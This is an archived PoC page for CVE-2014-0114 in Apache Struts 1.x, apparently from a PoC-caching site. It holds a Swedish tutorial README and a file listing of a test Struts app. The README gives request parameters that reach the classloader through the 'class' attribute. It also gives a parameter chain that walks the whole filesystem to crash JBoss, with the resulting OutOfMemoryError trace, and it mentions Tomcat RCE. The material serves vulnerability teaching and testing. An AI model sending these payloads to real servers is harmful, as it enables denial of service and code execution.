Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2014-0114 PoC — Apache Struts 输入验证错误漏洞

Source
Associated Vulnerability
Title:Apache Struts 输入验证错误漏洞 (CVE-2014-0114)
Description:Apache Struts是美国阿帕奇(Apache)基金会的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架,主要提供两个版本框架产品,Struts 1和Struts 2。 Apache Struts 1.x版本至1.3.10版本存在输入验证错误漏洞。攻击者利用该漏洞可以执行任意代码。
Readme
# CVE-2014-0114 - Sårbarhet i Struts 1

Parametrar i en POST- eller GET-request hanteras som egenskaper (properties) som ska
sättas med formuläret som utgångspunkt. Parametrar kan vara en sökväg till ett nästlat
objekt.

Apache Struts 1.x kan manipuleras att anropa getClass() på *Form Beans*. T.ex. kan man direkt
manipulera attribut på formulärets classloader: `https://example.com/?class.classLoader.defaultAssertionStatus=true`.

Under ytan använder Apache Struts 1.x commons-beanutils som i version 1.8 (och tidigare)
inte undantar attributet `class`. 

Struts 2 har haft liknande brister, men här fokuserar vi på Struts 1.x där det inte finns några
patchar till ramverket vars senaste version släpptes 2008 (EOL sedan 2013).


## Tomcat - Remote Code Execution (RCE)
Om applikationen körs i Tomcat (Catalina) så går det att manipulera loggningen så att
angriparen kan skapa en JSP-fil som sedan exekveras när man begär den från servern.
JSP-filen kan exekvera godtycklig Java-kod och som den användare som kör Java-processen.

Se Julián Vilas demonstration för detaljer.


## JBoss/Wildfly - Denial Of Service (DOS)
(Testat med JBoss EAP 7.1)

Det finns en enkel metod för att utföra en DOS-attack som i värsta fall gör JBoss helt
oåtkomlig och kräver omstart. I bästa fall svarar JBoss långsamt.

### Utförande

Via `class`-attributet går det att komma åt `Class#protectionDomain.codeSource.location`.
I JBoss är det ett `URL`-objekt med protokoll `vfs`.

För en URL av typen `vfs://` har JBoss registrerat en `URLStreamHandler` som returnerar ett objekt av
typen `org.jboss.vfs.VirtualFile` när `URL#getContent` anropas.

`class.protectionDomain.codeSource.location.content.pathName` pekar ut katalogen `<SÖKGVÄG>/<applikation>/WEB-INF/classes`.

Via `parent` kommer man åt ett objekt för katalogen en nivå upp:

`class.protectionDomain.codeSource.location.content.parent.pathName` -> `<SÖKVÄG>/<applikation>/WEB-INF`



**Fråga:**
Hur många parent-referenser behövs för att komma till roten på filsystemet?

**Fråga:**
Vad händer när vi begär `class.protectionDomain.codeSource.location.content.parent.parent.[...].childrenRecursively[0].pathName`
för filsystemets rotkatalog?

**Svar:**
JBoss kommer att gå igenom alla filer i filsystemet och allokera en `org.jboss.vfs.VirtualFile` för varje fil och katalog.

**Följdfråga:**
Vad händer om två requests begär alla filer i filsystemet samtidigt? Tre requests? Fem? Tio? Hundra?


...

**Svar:**

Väntar man tillräckligt länge loggas ett fel

    10:09:59,381 ERROR [io.undertow.request] (default task-13) UT005023: Exception handling request to /strutt/Login.do: javax.servlet.ServletException: javax.servlet.ServletException: BeanUtils.populate
    	at org.apache.struts.chain.ComposableRequestProcessor.process(ComposableRequestProcessor.java:286)
    	at org.apache.struts.action.ActionServlet.process(ActionServlet.java:1913)
    	at org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:449)
    	at javax.servlet.http.HttpServlet.service(HttpServlet.java:687)
    	at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
    	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:85)
    	at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62)
    	at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36)
    	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
    	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
    	at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:131)
    	at io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57)
    	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
    	at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46)
    	at io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64)
    	at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:60)
    	at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:77)
    	at io.undertow.security.handlers.NotificationReceiverHandler.handleRequest(NotificationReceiverHandler.java:50)
    	at io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43)
    	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
    	at org.wildfly.extension.undertow.security.jacc.JACCContextIdHandler.handleRequest(JACCContextIdHandler.java:61)
    	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
    	at org.wildfly.extension.undertow.deployment.GlobalRequestControllerHandler.handleRequest(GlobalRequestControllerHandler.java:68)
    	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
    	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:292)
    	at io.undertow.servlet.handlers.ServletInitialHandler.access$100(ServletInitialHandler.java:81)
    	at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:138)
    	at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:135)
    	at io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1.call(ServletRequestContextThreadSetupAction.java:48)
    	at io.undertow.servlet.core.ContextClassLoaderSetupAction$1.call(ContextClassLoaderSetupAction.java:43)
    	at org.wildfly.extension.undertow.security.SecurityContextThreadSetupAction.lambda$create$0(SecurityContextThreadSetupAction.java:105)
    	at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
    	at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
    	at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
    	at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
    	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:272)
    	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:81)
    	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:104)
    	at io.undertow.server.Connectors.executeRootHandler(Connectors.java:326)
    	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:812)
    	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
    	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
    	at java.lang.Thread.run(Thread.java:748)
    Caused by: javax.servlet.ServletException: BeanUtils.populate
    	at org.apache.struts.util.RequestUtils.populate(RequestUtils.java:475)
    	at org.apache.struts.chain.commands.servlet.PopulateActionForm.populate(PopulateActionForm.java:50)
    	at org.apache.struts.chain.commands.AbstractPopulateActionForm.execute(AbstractPopulateActionForm.java:60)
    	at org.apache.struts.chain.commands.ActionCommandBase.execute(ActionCommandBase.java:51)
    	at org.apache.commons.chain.impl.ChainBase.execute(ChainBase.java:191)
    	at org.apache.commons.chain.generic.LookupCommand.execute(LookupCommand.java:305)
    	at org.apache.commons.chain.impl.ChainBase.execute(ChainBase.java:191)
    	at org.apache.struts.chain.ComposableRequestProcessor.process(ComposableRequestProcessor.java:283)
    	... 42 more
    Caused by: java.lang.reflect.InvocationTargetException
    	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    	at java.lang.reflect.Method.invoke(Method.java:498)
    	at org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(PropertyUtilsBean.java:2155)
    	at org.apache.commons.beanutils.PropertyUtilsBean.getIndexedProperty(PropertyUtilsBean.java:504)
    	at org.apache.commons.beanutils.PropertyUtilsBean.getIndexedProperty(PropertyUtilsBean.java:408)
    	at org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(PropertyUtilsBean.java:760)
    	at org.apache.commons.beanutils.PropertyUtilsBean.getProperty(PropertyUtilsBean.java:837)
    	at org.apache.commons.beanutils.BeanUtilsBean.setProperty(BeanUtilsBean.java:903)
    	at org.apache.commons.beanutils.BeanUtilsBean.populate(BeanUtilsBean.java:830)
    	at org.apache.commons.beanutils.BeanUtils.populate(BeanUtils.java:433)
    	at org.apache.struts.util.RequestUtils.populate(RequestUtils.java:473)
    	... 49 more
    Caused by: java.lang.OutOfMemoryError: GC overhead limit exceeded
    	at java.lang.AbstractStringBuilder.<init>(AbstractStringBuilder.java:68)
    	at java.lang.StringBuilder.<init>(StringBuilder.java:101)
    	at org.jboss.vfs.VirtualFile.getPathName(VirtualFile.java:139)
    	at org.jboss.vfs.VirtualFile.getPathName(VirtualFile.java:99)
    	at org.jboss.vfs.spi.RootFileSystem.getFile(RootFileSystem.java:65)
    	at org.jboss.vfs.spi.RootFileSystem.isDirectory(RootFileSystem.java:107)
    	at org.jboss.vfs.VirtualFile.isDirectory(VirtualFile.java:291)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:520)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
    
    10:09:59,420 ERROR [stderr] (Periodic Recovery) Exception in thread "Periodic Recovery" java.lang.OutOfMemoryError: GC overhead limit exceeded


CPU går för fullt för att hantera Garbage Collection för några få requests
och Java-processen hinner inte med mycket annat.

Det beror också lite på applikationen. Kan man trigga en kodväg som tar ett lås så
kan applikationen/systemet att bli hängande.



## Referenser

**CVE**
- https://nvd.nist.gov/vuln/detail/CVE-2014-0114 (Struts 1)
- https://nvd.nist.gov/vuln/detail/CVE-2014-0112 (Struts 2)
- https://nvd.nist.gov/vuln/detail/CVE-2014-0094 (Struts 2)


**Presentation av Julián Vilas**

https://www.youtube.com/watch?v=fpsrusRpP0E

https://www.slideshare.net/testpurposes/deep-inside-the-java-framework-apache-struts

**Metasploit**

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/struts_code_exec_classloader.rb
File Snapshot

[4.0K] /data/pocs/19458ebcceaf7d3854ba061571ba547fd7b1b00e ├── [ 378] build.gradle ├── [4.0K] gradle │   └── [4.0K] wrapper │   ├── [ 54K] gradle-wrapper.jar │   └── [ 233] gradle-wrapper.properties ├── [5.2K] gradlew ├── [2.1K] gradlew.bat ├── [ 12K] README.md ├── [ 42] settings.gradle └── [4.0K] src └── [4.0K] main ├── [4.0K] java │   └── [4.0K] strutt │   ├── [ 786] LoginAction.java │   └── [1.0K] LoginForm.java ├── [4.0K] resources │   └── [ 423] messages.properties └── [4.0K] webapp ├── [ 569] inloggad.jsp ├── [1.4K] login.jsp ├── [3.9K] struts-tester.jsp └── [4.0K] WEB-INF ├── [ 879] struts-config.xml ├── [ 604] validation.xml └── [ 877] web.xml 9 directories, 16 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.